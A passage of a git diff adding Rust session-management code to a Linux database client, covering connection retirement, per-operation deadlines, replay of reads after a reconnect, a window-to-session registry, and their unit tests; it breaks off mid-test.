+mod connection_link; +mod established_connection; +mod retired_connection; + +pub use close_report::CloseReport; +pub use connection_lease::ConnectionLease; +pub use connection_link::ConnectionLink; +pub use established_connection::EstablishedConnection; +pub use retired_connection::RetiredConnection; diff --git a/linux/crates/session/src/link/retired_connection.rs b/linux/crates/session/src/link/retired_connection.rs new file mode 100644 index 0000000000..f2fb8cf48c --- /dev/null +++ b/linux/crates/session/src/link/retired_connection.rs @@ -0,0 +1,44 @@ +use std::sync::Arc; +use std::time::Duration; + +use super::{CloseReport, EstablishedConnection}; +use crate::health::LinkGeneration; + +/// A connection the link no longer hands out. +/// +/// Whoever retired it closes it straight away: it was replaced because +/// it was lost or suspect, so there is nothing to wait for. Leases still +/// holding it fail with a stale generation, which the monitor ignores. +pub struct RetiredConnection { + generation: LinkGeneration, + established: Arc, +} + +impl RetiredConnection { + pub(crate) fn new(generation: LinkGeneration, established: Arc) -> Self { + Self { + generation, + established, + } + } + + pub fn generation(&self) -> LinkGeneration { + self.generation + } + + pub async fn close(self, close_timeout: Duration) -> CloseReport { + match tokio::time::timeout(close_timeout, self.established.connection.close()).await { + Ok(Ok(())) => CloseReport::Closed, + Ok(Err(error)) => CloseReport::CloseFailed(error), + Err(_) => CloseReport::Abandoned, + } + } +} + +impl std::fmt::Debug for RetiredConnection { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("RetiredConnection") + .field("generation", &self.generation) + .finish_non_exhaustive() + } +} diff --git a/linux/crates/session/src/operation/deadline_policy.rs b/linux/crates/session/src/operation/deadline_policy.rs new file mode 100644 index 0000000000..5c2ecd8cc8 --- /dev/null +++ b/linux/crates/session/src/operation/deadline_policy.rs @@ -0,0 +1,9 @@ +use std::time::Duration; + +use super::OperationKind; + +/// How long each kind of operation may run. `None` means no client-side +/// bound: a schema change can legitimately run for a long time. +pub trait DeadlinePolicy: Send + Sync { + fn deadline(&self, kind: OperationKind) -> Option; +} diff --git a/linux/crates/session/src/operation/default_deadlines.rs b/linux/crates/session/src/operation/default_deadlines.rs new file mode 100644 index 0000000000..71920d3c32 --- /dev/null +++ b/linux/crates/session/src/operation/default_deadlines.rs @@ -0,0 +1,53 @@ +use std::time::Duration; + +use tablepro_core::{LivenessPolicy, WriteKind}; + +use super::{DeadlinePolicy, OperationKind}; + +/// The deadlines a desktop session runs with. +#[derive(Debug, Clone, Copy)] +pub struct DefaultDeadlines { + pub liveness: LivenessPolicy, +} + +impl DefaultDeadlines { + pub const METADATA: Duration = Duration::from_secs(15); + pub const PAGE: Duration = Duration::from_secs(60); + pub const ROW_CHANGES: Duration = Duration::from_secs(120); + + pub fn new(liveness: LivenessPolicy) -> Self { + Self { liveness } + } +} + +impl DeadlinePolicy for DefaultDeadlines { + fn deadline(&self, kind: OperationKind) -> Option { + match kind { + OperationKind::Metadata => Some(Self::METADATA), + OperationKind::Page | OperationKind::Count => Some(Self::PAGE), + OperationKind::Save(WriteKind::RowChanges) => Some(Self::ROW_CHANGES), + OperationKind::Save(WriteKind::SchemaChanges) => None, + OperationKind::Probe => Some(self.liveness.probe_timeout), + OperationKind::Close => Some(self.liveness.close_timeout), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn a_schema_change_has_no_client_deadline() { + let deadlines = DefaultDeadlines::new(LivenessPolicy::DESKTOP); + let seconds = |kind| deadlines.deadline(kind).map(|deadline| deadline.as_secs()); + + assert_eq!(seconds(OperationKind::Metadata), Some(15)); + assert_eq!(seconds(OperationKind::Page), Some(60)); + assert_eq!(seconds(OperationKind::Count), Some(60)); + assert_eq!(seconds(OperationKind::Save(WriteKind::RowChanges)), Some(120)); + assert_eq!(seconds(OperationKind::Save(WriteKind::SchemaChanges)), None); + assert_eq!(seconds(OperationKind::Probe), Some(5)); + assert_eq!(seconds(OperationKind::Close), Some(10)); + } +} diff --git a/linux/crates/session/src/operation/mod.rs b/linux/crates/session/src/operation/mod.rs new file mode 100644 index 0000000000..85916168b8 --- /dev/null +++ b/linux/crates/session/src/operation/mod.rs @@ -0,0 +1,17 @@ +//! The one way to use a session's connection: lease it, bound the call, +//! observe what the outcome says about the link, and replay a read once +//! when the connection was replaced under it. + +mod deadline_policy; +mod default_deadlines; +mod operation_error; +mod operation_kind; +mod operation_runner; +mod replay_rule; + +pub use deadline_policy::DeadlinePolicy; +pub use default_deadlines::DefaultDeadlines; +pub use operation_error::OperationError; +pub use operation_kind::OperationKind; +pub use operation_runner::OperationRunner; +pub use replay_rule::ReplayRule; diff --git a/linux/crates/session/src/operation/operation_error.rs b/linux/crates/session/src/operation/operation_error.rs new file mode 100644 index 0000000000..83a1717177 --- /dev/null +++ b/linux/crates/session/src/operation/operation_error.rs @@ -0,0 +1,40 @@ +use tablepro_core::browse::BrowseSqlError; +use tablepro_core::dml::BuildSqlError; +use tablepro_core::statement::SqlBuildError; +use tablepro_core::{DriverError, ErrorCategory}; +use thiserror::Error; + +use crate::runtime::TaskPanic; + +/// Why an operation produced no value. +#[derive(Debug, Clone, PartialEq, Error)] +pub enum OperationError { + #[error(transparent)] + Driver(#[from] DriverError), + #[error(transparent)] + Sql(#[from] SqlBuildError), + #[error(transparent)] + Browse(#[from] BrowseSqlError), + #[error(transparent)] + Build(#[from] BuildSqlError), + #[error(transparent)] + Panicked(#[from] TaskPanic), + /// The caller stopped it. + #[error("cancelled")] + Cancelled, + /// The session is shutting down, or has no connection left. + #[error("the session is closed")] + Closed, +} + +impl OperationError { + /// The driver error's category, when the driver is what failed. + pub fn category(&self) -> Option { + match self { + Self::Driver(error) => Some(error.category()), + Self::Sql(_) | Self::Browse(_) | Self::Build(_) | Self::Panicked(_) | Self::Cancelled | Self::Closed => { + None + } + } + } +} diff --git a/linux/crates/session/src/operation/operation_kind.rs b/linux/crates/session/src/operation/operation_kind.rs new file mode 100644 index 0000000000..3a03760940 --- /dev/null +++ b/linux/crates/session/src/operation/operation_kind.rs @@ -0,0 +1,21 @@ +use tablepro_core::WriteKind; + +/// What an operation does, which decides its deadline and whether it +/// may run again after the connection is replaced. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)] +pub enum OperationKind { + Metadata, + Page, + Count, + Save(WriteKind), + Probe, + Close, +} + +impl OperationKind { + /// Reads only. Running one twice shows the same thing; running a + /// save twice could write twice. + pub fn is_replayable(self) -> bool { + matches!(self, Self::Metadata | Self::Page | Self::Count) + } +} diff --git a/linux/crates/session/src/operation/operation_runner.rs b/linux/crates/session/src/operation/operation_runner.rs new file mode 100644 index 0000000000..f005da7f9e --- /dev/null +++ b/linux/crates/session/src/operation/operation_runner.rs @@ -0,0 +1,437 @@ +use std::future::Future; +use std::sync::Arc; + +use tablepro_core::{CallOptions, DriverError, ErrorCategory}; +use tokio::sync::watch; +use tokio::time::Instant; +use tokio_util::sync::CancellationToken; + +use super::{DeadlinePolicy, OperationError, OperationKind, ReplayRule}; +use crate::health::{LinkGeneration, MonitorMailbox, MonitorSignal, SessionHealth}; +use crate::link::{ConnectionLease, ConnectionLink}; +use crate::runtime::catch_panic; + +/// The chokepoint every use of a session's connection goes through. +/// +/// It adds no timer of its own: the deadline travels in `CallOptions`, +/// so the driver can stop the statement on the server rather than +/// leaving it running behind a dropped future. +#[derive(Clone)] +pub struct OperationRunner { + link: Arc, + deadlines: Arc, + mailbox: Arc, + health: watch::Receiver, + cancel: CancellationToken, +} + +struct Failure { + error: OperationError, + generation: LinkGeneration, +} + +impl OperationRunner { + pub fn new( + link: Arc, + deadlines: Arc, + mailbox: Arc, + health: watch::Receiver, + cancel: CancellationToken, + ) -> Self { + Self { + link, + deadlines, + mailbox, + health, + cancel, + } + } + + /// Run `op` on the current connection. + /// + /// `cancel` is the caller's: firing it gives `Cancelled`, while the + /// session shutting down gives `Closed`. A read that failed because + /// its connection was lost runs once more when the link has already + /// been replaced, building its SQL again from the new lease. + pub async fn run_cancellable( + &self, + kind: OperationKind, + cancel: &CancellationToken, + op: F, + ) -> Result + where + F: Fn(ConnectionLease, CallOptions) -> Fut + Send + Sync, + Fut: Future> + Send, + T: Send, + { + match self.attempt(kind, cancel, &op).await { + Ok(value) => Ok(value), + Err(failure) + if ReplayRule::should_replay(kind, &failure.error, failure.generation, self.link.generation()) => + { + tracing::debug!( + ?kind, + from = failure.generation.get(), + "replaying a read on the new connection" + ); + self.attempt(kind, cancel, &op).await.map_err(|failure| failure.error) + } + Err(failure) => Err(failure.error), + } + } + + async fn attempt(&self, kind: OperationKind, cancel: &CancellationToken, op: &F) -> Result + where + F: Fn(ConnectionLease, CallOptions) -> Fut + Send + Sync, + Fut: Future> + Send, + T: Send, + { + let unleased = |error| Failure { + error, + generation: self.link.generation(), + }; + if self.cancel.is_cancelled() { + return Err(unleased(OperationError::Closed)); + } + if cancel.is_cancelled() { + return Err(unleased(OperationError::Cancelled)); + } + let Some(lease) = self.link.lease() else { + return Err(unleased(OperationError::Closed)); + }; + let generation = lease.generation(); + let child = self.cancel.child_token(); + let deadline = self.deadlines.deadline(kind).map(|limit| Instant::now() + limit); + let options = CallOptions::new(deadline, child.clone()); + + // Calling `op` inside the future puts a panic while building it + // under the same catch as one while it runs. + let running = catch_panic(async { op(lease, options).await }); + tokio::pin!(running); + let outcome = tokio::select! { + biased; + outcome = &mut running => outcome, + () = cancel.cancelled() => { + // The driver stops the call itself and returns promptly, + // which keeps the lease until the server has let go. + child.cancel(); + running.await + } + }; + + let error = match outcome { + Ok(Ok(value)) => { + if !self.health.borrow().is_online() { + self.mailbox.post(MonitorSignal::OperationSucceeded { generation }); + } + return Ok(value); + } + Ok(Err(error)) => error, + Err(panic) => { + tracing::error!(?kind, %panic, "an operation panicked"); + self.mailbox.post(MonitorSignal::ProbeRequested { generation }); + OperationError::Panicked(panic) + } + }; + let error = match error { + OperationError::Driver(DriverError::Cancelled) if cancel.is_cancelled() => OperationError::Cancelled, + OperationError::Driver(DriverError::Cancelled) if self.cancel.is_cancelled() => OperationError::Closed, + other => other, + }; + if error.category() == Some(ErrorCategory::ConnectionLost) { + self.mailbox.post(MonitorSignal::ConnectionLost { generation }); + } + Err(Failure { error, generation }) + } +} + +impl std::fmt::Debug for OperationRunner { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("OperationRunner") + .field("link", &self.link) + .finish_non_exhaustive() + } +} + +#[cfg(test)] +mod tests { + use std::sync::atomic::{AtomicUsize, Ordering}; + use std::time::Duration; + + use tablepro_core::{LivenessPolicy, LossPhase, WriteKind}; + use tablepro_test_support::{ConnectionScript, FakeConnection, FakeReply}; + + use super::*; + use crate::health::PendingSignals; + use crate::link::EstablishedConnection; + use crate::operation::DefaultDeadlines; + + struct Harness { + runner: OperationRunner, + link: Arc, + mailbox: Arc, + health: watch::Sender, + session: CancellationToken, + } + + fn established() -> EstablishedConnection { + let mut script = ConnectionScript::default(); + script.probe.always(FakeReply::UntilStopped); + EstablishedConnection { + connection: Arc::new(FakeConnection::new(script)), + ssh_session: None, + } + } + + fn harness() -> Harness { + let link = Arc::new(ConnectionLink::new(established())); + let mailbox = Arc::new(MonitorMailbox::new()); + let (health, health_receiver) = watch::channel(SessionHealth::Online); + let session = CancellationToken::new(); + let runner = OperationRunner::new( + link.clone(), + Arc::new(DefaultDeadlines::new(LivenessPolicy::DESKTOP)), + mailbox.clone(), + health_receiver, + session.clone(), + ); + Harness { + runner, + link, + mailbox, + health, + session, + } + } + + fn lost() -> OperationError { + OperationError::Driver(DriverError::ConnectionLost { + during: LossPhase::Statement, + }) + } + + async fn pending(mailbox: &MonitorMailbox) -> PendingSignals { + tokio::time::timeout(Duration::from_secs(1), mailbox.next()) + .await + .unwrap_or_default() + } + + /// An op that replaces the link the first time it runs, then fails + /// with `error`, the way a reconnect lands mid-operation. + async fn run_failing_after_replace( + harness: &Harness, + kind: OperationKind, + error: OperationError, + ) -> (Result, usize) { + let calls = AtomicUsize::new(0); + let outcome = harness + .runner + .run_cancellable(kind, &CancellationToken::new(), |lease, _| { + let call = calls.fetch_add(1, Ordering::SeqCst); + let link = harness.link.clone(); + let error = error.clone(); + async move { + if call == 0 { + link.replace(established()); + return Err(error); + } + Ok(lease.generation()) + } + }) + .await; + (outcome, calls.load(Ordering::SeqCst)) + } + + #[tokio::test(start_paused = true)] + async fn loss_on_retired_generation_does_not_post_current_loss() { + let harness = harness(); + + let (outcome, _) = + run_failing_after_replace(&harness, OperationKind::Save(WriteKind::RowChanges), lost()).await; + + assert_eq!(outcome, Err(lost())); + assert_eq!(harness.link.generation(), LinkGeneration::FIRST.next()); + assert_eq!( + pending(&harness.mailbox).await.lost, + Some(LinkGeneration::FIRST), + "the loss was posted against the connection that replaced the lost one" + ); + } + + #[tokio::test(start_paused = true)] + async fn page_replays_once_on_newer_lease_after_connection_lost() { + let harness = harness(); + + let (outcome, calls) = run_failing_after_replace(&harness, OperationKind::Page, lost()).await; + + assert_eq!(outcome, Ok(LinkGeneration::FIRST.next())); + assert_eq!(calls, 2); + } + + #[tokio::test(start_paused = true)] + async fn a_replay_runs_once_even_when_it_fails_the_same_way() { + let harness = harness(); + let calls = AtomicUsize::new(0); + + let outcome = harness + .runner + .run_cancellable(OperationKind::Metadata, &CancellationToken::new(), |_, _| { + calls.fetch_add(1, Ordering::SeqCst); + harness.link.replace(established()); + async { Err::<(), _>(lost()) } + }) + .await; + + assert_eq!(outcome, Err(lost())); + assert_eq!(calls.load(Ordering::SeqCst), 2); + } + + #[tokio::test(start_paused = true)] + async fn server_error_is_not_replayed_on_newer_lease() { + let harness = harness(); + let server = OperationError::Driver(DriverError::server("relation does not exist")); + + let (outcome, calls) = run_failing_after_replace(&harness, OperationKind::Page, server.clone()).await; + + assert_eq!(outcome, Err(server)); + assert_eq!(calls, 1); + } + + #[tokio::test(start_paused = true)] + async fn save_is_never_replayed() { + let harness = harness(); + + for kind in [WriteKind::RowChanges, WriteKind::SchemaChanges] { + let (outcome, calls) = run_failing_after_replace(&harness, OperationKind::Save(kind), lost()).await; + + assert_eq!(outcome, Err(lost())); + assert_eq!(calls, 1, "{kind:?} ran twice"); + } + } + + #[tokio::test(start_paused = true)] + async fn caller_cancel_maps_cancelled_session_cancel_maps_closed() { + let harness = harness(); + let probe = |lease: ConnectionLease, options: CallOptions| async move { + lease.probe(options).await.map_err(OperationError::from) + }; + + let caller = CancellationToken::new(); + let stopping = { + let caller = caller.clone(); + async move { + tokio::time::sleep(Duration::from_millis(10)).await; + caller.cancel(); + } + }; + let (outcome, ()) = tokio::join!( + harness.runner.run_cancellable(OperationKind::Page, &caller, probe), + stopping + ); + assert_eq!(outcome, Err(OperationError::Cancelled)); + + let closing = { + let session = harness.session.clone(); + async move { + tokio::time::sleep(Duration::from_millis(10)).await; + session.cancel(); + } + }; + let unrelated = CancellationToken::new(); + let (outcome, ()) = tokio::join!( + harness.runner.run_cancellable(OperationKind::Page, &unrelated, probe), + closing + ); + assert_eq!(outcome, Err(OperationError::Closed)); + + let calls = AtomicUsize::new(0); + let after_close = harness + .runner + .run_cancellable(OperationKind::Page, &CancellationToken::new(), |_, _| { + calls.fetch_add(1, Ordering::SeqCst); + async { Ok(()) } + }) + .await; + assert_eq!(after_close, Err(OperationError::Closed)); + assert_eq!(calls.load(Ordering::SeqCst), 0, "a closed session still ran the op"); + } + + async fn explode() -> Result<(), OperationError> { + panic!("boom") + } + + #[tokio::test(start_paused = true)] + async fn panic_posts_probe_requested() { + let harness = harness(); + + let outcome = harness + .runner + .run_cancellable(OperationKind::Page, &CancellationToken::new(), |_, _| explode()) + .await; + + assert!(matches!(outcome, Err(OperationError::Panicked(_)))); + assert_eq!( + pending(&harness.mailbox).await.probe_requested, + Some(LinkGeneration::FIRST) + ); + } + + #[tokio::test(start_paused = true)] + async fn success_while_reconnecting_posts_operation_succeeded() { + let harness = harness(); + harness.health.send_replace(SessionHealth::Reconnecting { attempt: 2 }); + + harness + .runner + .run_cancellable(OperationKind::Count, &CancellationToken::new(), |_, _| async { + Ok::(3) + }) + .await + .unwrap(); + + assert_eq!(pending(&harness.mailbox).await.succeeded, Some(LinkGeneration::FIRST)); + } + + #[tokio::test(start_paused = true)] + async fn success_while_online_posts_nothing() { + let harness = harness(); + + harness + .runner + .run_cancellable(OperationKind::Count, &CancellationToken::new(), |_, _| async { + Ok::(3) + }) + .await + .unwrap(); + + assert!(pending(&harness.mailbox).await.is_empty()); + } + + #[tokio::test(start_paused = true)] + async fn the_kind_sets_the_call_deadline() { + let harness = harness(); + let started = Instant::now(); + + let deadlines = harness + .runner + .run_cancellable( + OperationKind::Page, + &CancellationToken::new(), + |_, options| async move { Ok::<_, OperationError>(options.deadline()) }, + ) + .await + .unwrap(); + let unbounded = harness + .runner + .run_cancellable( + OperationKind::Save(WriteKind::SchemaChanges), + &CancellationToken::new(), + |_, options| async move { Ok::<_, OperationError>(options.deadline()) }, + ) + .await + .unwrap(); + + assert_eq!(deadlines, Some(started + DefaultDeadlines::PAGE)); + assert_eq!(unbounded, None); + } +} diff --git a/linux/crates/session/src/operation/replay_rule.rs b/linux/crates/session/src/operation/replay_rule.rs new file mode 100644 index 0000000000..85293f3fd1 --- /dev/null +++ b/linux/crates/session/src/operation/replay_rule.rs @@ -0,0 +1,99 @@ +use tablepro_core::ErrorCategory; + +use super::{OperationError, OperationKind}; +use crate::health::LinkGeneration; + +/// Whether a failed operation runs once more on the replacement link. +#[derive(Debug, Clone, Copy)] +pub struct ReplayRule; + +impl ReplayRule { + /// Only a read, only a lost connection, and only once the link has + /// already moved past the connection it failed on. A loss before any + /// reconnect is left to the caller's own link watch, so the runner + /// never waits on a reconnect that may not come. + pub fn should_replay( + kind: OperationKind, + error: &OperationError, + lease: LinkGeneration, + current: LinkGeneration, + ) -> bool { + kind.is_replayable() + && matches!( + error.category(), + Some(ErrorCategory::ConnectionLost | ErrorCategory::Network) + ) + && current > lease + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::{ + ConfigError, DriverError, LossPhase, NetworkEndpoint, TimeoutPhase, TransportError, WriteKind, + }; + + use super::*; + + fn error_of(category: ErrorCategory) -> OperationError { + let endpoint = NetworkEndpoint::new("db", 5432).unwrap(); + let driver = match category { + ErrorCategory::ConnectionLost => DriverError::ConnectionLost { + during: LossPhase::Statement, + }, + ErrorCategory::Network => DriverError::Transport(TransportError::Refused { endpoint }), + ErrorCategory::Timeout => DriverError::Timeout { + phase: TimeoutPhase::Statement, + server_cancelled: true, + }, + ErrorCategory::Server => DriverError::server("relation does not exist"), + ErrorCategory::Busy => DriverError::Busy, + ErrorCategory::Authentication => DriverError::auth(None), + ErrorCategory::Configuration => DriverError::Config(ConfigError::DatabaseRequired), + _ => DriverError::Protocol("other".to_owned()), + }; + OperationError::Driver(driver) + } + + #[test] + fn replay_table() { + let old = LinkGeneration::FIRST; + let new = old.next(); + let kinds = [ + (OperationKind::Metadata, true), + (OperationKind::Page, true), + (OperationKind::Count, true), + (OperationKind::Save(WriteKind::RowChanges), false), + (OperationKind::Save(WriteKind::SchemaChanges), false), + (OperationKind::Probe, false), + (OperationKind::Close, false), + ]; + let categories = [ + (ErrorCategory::ConnectionLost, true), + (ErrorCategory::Network, true), + (ErrorCategory::Timeout, false), + (ErrorCategory::Server, false), + (ErrorCategory::Busy, false), + (ErrorCategory::Authentication, false), + (ErrorCategory::Configuration, false), + ]; + + for (kind, replayable) in kinds { + for (category, lost) in categories { + let error = error_of(category); + assert_eq!( + ReplayRule::should_replay(kind, &error, old, new), + replayable && lost, + "{kind:?} after {category:?} on a replaced link" + ); + assert!( + !ReplayRule::should_replay(kind, &error, new, new), + "{kind:?} after {category:?} replayed with no newer link" + ); + } + } + for error in [OperationError::Cancelled, OperationError::Closed] { + assert!(!ReplayRule::should_replay(OperationKind::Page, &error, old, new)); + } + } +} diff --git a/linux/crates/session/src/registry/claim_error.rs b/linux/crates/session/src/registry/claim_error.rs new file mode 100644 index 0000000000..b06e67104d --- /dev/null +++ b/linux/crates/session/src/registry/claim_error.rs @@ -0,0 +1,8 @@ +use thiserror::Error; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, Error)] +pub enum ClaimError { + /// Another window has this session; the caller shows that window. + #[error("the connection is already open in another window")] + AlreadyOpen { window_id: u32 }, +} diff --git a/linux/crates/app/src/session/file_identity.rs b/linux/crates/session/src/registry/file_identity.rs similarity index 100% rename from linux/crates/app/src/session/file_identity.rs rename to linux/crates/session/src/registry/file_identity.rs diff --git a/linux/crates/session/src/registry/mod.rs b/linux/crates/session/src/registry/mod.rs new file mode 100644 index 0000000000..db3cdc0419 --- /dev/null +++ b/linux/crates/session/src/registry/mod.rs @@ -0,0 +1,17 @@ +//! Which window owns which session, so the same database opens once. + +mod claim_error; +mod file_identity; +mod registry_event; +mod registry_subscription; +mod session_claim; +mod session_key; +mod session_registry; + +pub use claim_error::ClaimError; +pub use file_identity::FileIdentity; +pub use registry_event::RegistryEvent; +pub use registry_subscription::RegistrySubscription; +pub use session_claim::SessionClaim; +pub use session_key::SessionKey; +pub use session_registry::SessionRegistry; diff --git a/linux/crates/session/src/registry/registry_event.rs b/linux/crates/session/src/registry/registry_event.rs new file mode 100644 index 0000000000..9e65873425 --- /dev/null +++ b/linux/crates/session/src/registry/registry_event.rs @@ -0,0 +1,19 @@ +use super::SessionKey; +use crate::health::ReachabilityTarget; + +/// What changed in the registry. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum RegistryEvent { + /// A session was adopted. Carries what the network must reach for + /// it, so the network watch can check it straight away. + Attached { + key: SessionKey, + reachability: ReachabilityTarget, + }, + Released { + key: SessionKey, + }, + /// How many sessions are attached. The resume detector runs only + /// while this is above zero. + LiveCountChanged(usize), +} diff --git a/linux/crates/session/src/registry/registry_subscription.rs b/linux/crates/session/src/registry/registry_subscription.rs new file mode 100644 index 0000000000..dfcc8aa437 --- /dev/null +++ b/linux/crates/session/src/registry/registry_subscription.rs @@ -0,0 +1,19 @@ +use std::rc::Weak; + +use super::SessionRegistry; + +/// Keeps an observer registered; dropping it unregisters. +#[derive(Debug)] +#[must_use = "dropping the subscription unregisters the observer"] +pub struct RegistrySubscription { + pub(super) registry: Weak, + pub(super) id: u64, +} + +impl Drop for RegistrySubscription { + fn drop(&mut self) { + if let Some(registry) = self.registry.upgrade() { + registry.unsubscribe(self.id); + } + } +} diff --git a/linux/crates/session/src/registry/session_claim.rs b/linux/crates/session/src/registry/session_claim.rs new file mode 100644 index 0000000000..76c08a8ca0 --- /dev/null +++ b/linux/crates/session/src/registry/session_claim.rs @@ -0,0 +1,39 @@ +use std::rc::Weak; +use std::sync::Arc; + +use super::{SessionKey, SessionRegistry}; +use crate::session::Session; + +/// A window's hold on a session key, taken before connecting. +/// +/// Claiming first means a second window asking for the same database is +/// sent to the first instead of building a connection it would throw +/// away. Dropping the claim releases the key at once, before the old +/// connection has finished closing, so it can be picked again. +#[derive(Debug)] +#[must_use = "dropping the claim releases the key"] +pub struct SessionClaim { + pub(super) registry: Weak, + pub(super) key: SessionKey, +} + +impl SessionClaim { + pub fn key(&self) -> &SessionKey { + &self.key + } + + /// Record the adopted session under this claim. + pub fn attach(&self, session: &Arc) { + if let Some(registry) = self.registry.upgrade() { + registry.attach(&self.key, session); + } + } +} + +impl Drop for SessionClaim { + fn drop(&mut self) { + if let Some(registry) = self.registry.upgrade() { + registry.release(&self.key); + } + } +} diff --git a/linux/crates/app/src/session/session_key.rs b/linux/crates/session/src/registry/session_key.rs similarity index 98% rename from linux/crates/app/src/session/session_key.rs rename to linux/crates/session/src/registry/session_key.rs index cb05eb1876..53120e1fdc 100644 --- a/linux/crates/app/src/session/session_key.rs +++ b/linux/crates/session/src/registry/session_key.rs @@ -55,7 +55,7 @@ mod tests { port: 0, database: database.to_owned(), username: String::new(), - use_tls: false, + tls: tablepro_core::TlsConfig::disabled(), read_only: false, auth_mode: tablepro_core::AuthMode::Password, ssh: None, diff --git a/linux/crates/session/src/registry/session_registry.rs b/linux/crates/session/src/registry/session_registry.rs new file mode 100644 index 0000000000..dd7a3064ad --- /dev/null +++ b/linux/crates/session/src/registry/session_registry.rs @@ -0,0 +1,278 @@ +use std::cell::{Cell, RefCell}; +use std::collections::HashMap; +use std::rc::Rc; +use std::sync::{Arc, Weak}; + +use super::{ClaimError, RegistryEvent, RegistrySubscription, SessionClaim, SessionKey}; +use crate::session::Session; + +struct RegistryEntry { + window_id: u32, + session: Option>, +} + +type Observer = Rc; + +/// The sessions open in this process, keyed so one database opens in +/// one window. +/// +/// It lives on the GTK thread. The live count moves only on attach and +/// on a claim being dropped, both on that thread, so it never depends +/// on when a worker drops its last `Arc`. +#[derive(Default)] +pub struct SessionRegistry { + entries: RefCell>, + live: Cell, + observers: RefCell>, + next_observer: Cell, +} + +impl SessionRegistry { + pub fn new() -> Rc { + Rc::new(Self::default()) + } + + pub fn claim(self: &Rc, key: SessionKey, window_id: u32) -> Result { + let mut entries = self.entries.borrow_mut(); + if let Some(entry) = entries.get(&key) { + return Err(ClaimError::AlreadyOpen { + window_id: entry.window_id, + }); + } + entries.insert( + key.clone(), + RegistryEntry { + window_id, + session: None, + }, + ); + Ok(SessionClaim { + registry: Rc::downgrade(self), + key, + }) + } + + pub fn window_for(&self, key: &SessionKey) -> Option { + self.entries.borrow().get(key).map(|entry| entry.window_id) + } + + pub fn attached_sessions(&self) -> Vec<(SessionKey, Arc)> { + self.entries + .borrow() + .iter() + .filter_map(|(key, entry)| { + let session = entry.session.as_ref()?.upgrade()?; + Some((key.clone(), session)) + }) + .collect() + } + + pub fn live_count(&self) -> usize { + self.live.get() + } + + pub fn subscribe(self: &Rc, observer: impl Fn(&RegistryEvent) + 'static) -> RegistrySubscription { + let id = self.next_observer.get(); + self.next_observer.set(id.wrapping_add(1)); + self.observers.borrow_mut().push((id, Rc::new(observer))); + RegistrySubscription { + registry: Rc::downgrade(self), + id, + } + } + + pub(super) fn unsubscribe(&self, id: u64) { + self.observers.borrow_mut().retain(|(observer, _)| *observer != id); + } + + pub(super) fn attach(&self, key: &SessionKey, session: &Arc) { + let first_attach = { + let mut entries = self.entries.borrow_mut(); + let Some(entry) = entries.get_mut(key) else { + return; + }; + let first = entry.session.is_none(); + entry.session = Some(Arc::downgrade(session)); + first + }; + let mut events = vec![RegistryEvent::Attached { + key: key.clone(), + reachability: session.reachability(), + }]; + if first_attach { + self.live.set(self.live.get() + 1); + events.push(RegistryEvent::LiveCountChanged(self.live.get())); + } + self.emit(&events); + } + + pub(super) fn release(&self, key: &SessionKey) { + let Some(entry) = self.entries.borrow_mut().remove(key) else { + return; + }; + if entry.session.is_none() { + return; + } + self.live.set(self.live.get().saturating_sub(1)); + self.emit(&[ + RegistryEvent::Released { key: key.clone() }, + RegistryEvent::LiveCountChanged(self.live.get()), + ]); + } + + /// Observers are copied out first, so one that claims or releases + /// from inside its callback never meets a borrowed registry. + fn emit(&self, events: &[RegistryEvent]) { + let observers: Vec = self + .observers + .borrow() + .iter() + .map(|(_, observer)| observer.clone()) + .collect(); + for event in events { + for observer in &observers { + observer(event); + } + } + } +} + +impl std::fmt::Debug for SessionRegistry { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("SessionRegistry") + .field("claimed", &self.entries.borrow().len()) + .field("live", &self.live.get()) + .finish_non_exhaustive() + } +} + +#[cfg(test)] +mod tests { + use tablepro_core::LivenessPolicy; + use tablepro_test_support::ConnectionScript; + use uuid::Uuid; + + use super::*; + use crate::fakes::{FakeConnector, FakeCredentialSource}; + use crate::health::ReachabilityTarget; + use crate::operation::DefaultDeadlines; + use crate::session::SessionDeps; + use crate::test_support::paused_tasks; + + fn session() -> Arc { + let (pending, _) = + FakeConnector::pending_session(FakeConnector::request().unwrap(), ConnectionScript::default()); + Session::start( + pending, + SessionDeps { + connector: Arc::new(FakeConnector::new([])), + credentials: Arc::new(FakeCredentialSource::new()), + deadlines: Arc::new(DefaultDeadlines::new(LivenessPolicy::DESKTOP)), + tasks: paused_tasks(), + prompter: None, + }, + ) + } + + fn recorded(registry: &Rc) -> (Rc>>, RegistrySubscription) { + let events = Rc::new(RefCell::new(Vec::new())); + let sink = events.clone(); + let subscription = registry.subscribe(move |event| sink.borrow_mut().push(event.clone())); + (events, subscription) + } + + #[test] + fn claim_refuses_duplicate() { + let registry = SessionRegistry::new(); + let key = SessionKey::Saved(Uuid::new_v4()); + + let _first = registry.claim(key.clone(), 7).unwrap(); + let second = registry.claim(key.clone(), 9); + + assert_eq!(second.unwrap_err(), ClaimError::AlreadyOpen { window_id: 7 }); + assert_eq!(registry.window_for(&key), Some(7)); + } + + #[test] + fn claim_drop_releases_key() { + let registry = SessionRegistry::new(); + let key = SessionKey::File("file:///srv/app.db".to_owned()); + + drop(registry.claim(key.clone(), 7).unwrap()); + + assert_eq!(registry.window_for(&key), None); + assert!(registry.claim(key, 9).is_ok()); + } + + #[tokio::test(start_paused = true)] + async fn live_count_event_on_attach_and_drop() { + let registry = SessionRegistry::new(); + let (events, _subscription) = recorded(®istry); + let key = SessionKey::Saved(Uuid::new_v4()); + let claim = registry.claim(key.clone(), 7).unwrap(); + let session = session(); + + claim.attach(&session); + assert_eq!(registry.live_count(), 1); + assert_eq!(registry.attached_sessions().len(), 1); + drop(claim); + + assert_eq!(registry.live_count(), 0); + assert_eq!( + *events.borrow(), + [ + RegistryEvent::Attached { + key: key.clone(), + reachability: ReachabilityTarget::Local + }, + RegistryEvent::LiveCountChanged(1), + RegistryEvent::Released { key }, + RegistryEvent::LiveCountChanged(0), + ] + ); + } + + #[test] + fn a_claim_that_never_attached_releases_quietly() { + let registry = SessionRegistry::new(); + let (events, _subscription) = recorded(®istry); + + drop(registry.claim(SessionKey::Saved(Uuid::new_v4()), 